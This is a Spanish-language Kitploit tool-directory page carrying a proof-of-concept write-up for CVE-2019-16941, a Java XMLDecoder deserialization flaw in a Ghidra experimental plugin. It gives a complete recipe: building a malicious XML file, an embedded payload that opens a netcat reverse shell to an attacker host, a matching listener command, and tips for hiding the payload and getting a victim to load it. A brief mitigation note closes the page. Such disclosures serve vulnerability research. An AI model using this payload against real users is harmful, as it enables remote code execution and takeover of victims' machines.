Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2019-16941 — PoC para CVE-2019-16941 | Kitploit
Herramientas/GitHubGitHub/purpleracc00n/cve-2019-16941
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónIngeniería InversaDesarrollo de PayloadsExplotación de Binarios
GitHubpurpleracc00n/cve-2019-16941

CVE-2019-16941

PoC para CVE-2019-16941

Ver Repositorio
42hace 6 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2019-16941

Prueba de concepto:

La vulnerabilidad requiere múltiples condiciones relativamente improbables para que se active, lo que limita su explotabilidad. Sin embargo, se necesita poco esfuerzo y comprensión para preparar un payload, dado que puede resultar en la ejecución arbitraria de código.

Creación del payload:

Para crear un payload que la víctima ejecute, se puede utilizar un script incluido en Ghidra. Para acceder a él, haga clic en "Window" -> "Script Manager" y ejecute "DumpFunctionPatternInfoScript.java" con los parámetros predeterminados sobre cualquier binario que haya incluido en el Code Browser (pero asegúrese de que la ruta a la carpeta donde desea guardar la salida exista). Este script produce un archivo de salida XML que luego se cargará en el componente vulnerable.

Figure 1 Create a template for payload

Esta plantilla XML se puede utilizar para inyectar el objeto que será deserializado como código Java y ejecutado silenciosamente, sin alertar al usuario. Esencialmente, el código malicioso se insertará como un objeto adicional al final del archivo XML, antes de la etiqueta de cierre . Un ejemplo de payload de objeto que representa una reverse shell es el siguiente:

root@kitploit:~
<object class="java.lang.Runtime" method="getRuntime"> 
  <void method="exec"> 
    <string>nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'</string> 
  </void> 
</object>

Lo anterior será deserializado en el siguiente código Java:

root@kitploit:~
Process process = Runtime.getRuntime().exec("nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'")

Las opciones son ilimitadas en cuanto al payload, ya que cualquier código Java (incluso malware sofisticado) podría ejecutarse de esta manera, siempre que se serialice correctamente en el formato XML requerido por XMLDecoder. Se debe tener cuidado si el payload se inserta en otro lugar dentro de la plantilla (para ocultarlo aún más), ya que podría producir excepciones durante la deserialización, alertando así al usuario.

Descargar herramienta

Ejecución:

El proceso mediante el cual se ejecuta el payload hace uso de la GUI de Ghidra y no se puede automatizar. En cambio, requiere interacción humana por parte de la víctima, lo que representa otra condición para que el exploit se ejecute.

Para que este exploit funcione en la computadora de la víctima, Ghidra debe tener habilitado el plugin experimental "FunctionBitPatternsExplorer". Esto se puede lograr siguiendo los pasos a continuación:

Figure 2 Enable Experimental Plugin

A continuación, se le pedirá al usuario que abra el plugin desde "Window" -> "Function Bit Patterns Explorer" y cargue el archivo XML usando la funcionalidad "Read XML Files". Esto, sin embargo, plantea otro desafío para la sección de condiciones. El atacante necesita una forma de lograr que el usuario descargue el payload XML en su máquina.

Desde la perspectiva de la víctima, la función no le permitirá ver los archivos XML en la lista, así que si su directorio se ve vacío, es normal. Si comienza a escribir su nombre en el cuadro de texto "File name", aparecerán; sin embargo, es importante no seleccionar ninguno de ellos y dejar el selector apuntando al directorio, ya que los tomará por sí mismo.

Figure 3 Executing the payload

Antes de que el usuario haga clic en "OK", el atacante (joe) deberá tener un listener ejecutándose en su host remoto y esperar la conexión. Esto se puede lograr fácilmente usando:

root@kitploit:~
$ nc -lvnp <listening_port>

Después de la ejecución, los resultados se pueden ver a continuación:

Figure 4 Reverse Shell

La vulnerabilidad es muy poco probable que sea explotable a gran escala debido a la multitud de condiciones implicadas. Hasta que se proporcione un nuevo parche, las mejores circunstancias de mitigación implican deshabilitar (o no habilitar en primer lugar) el plugin experimental afectado. Sin embargo, en caso de que el plugin deba usarse, los archivos XML deben provenir de una fuente confiable.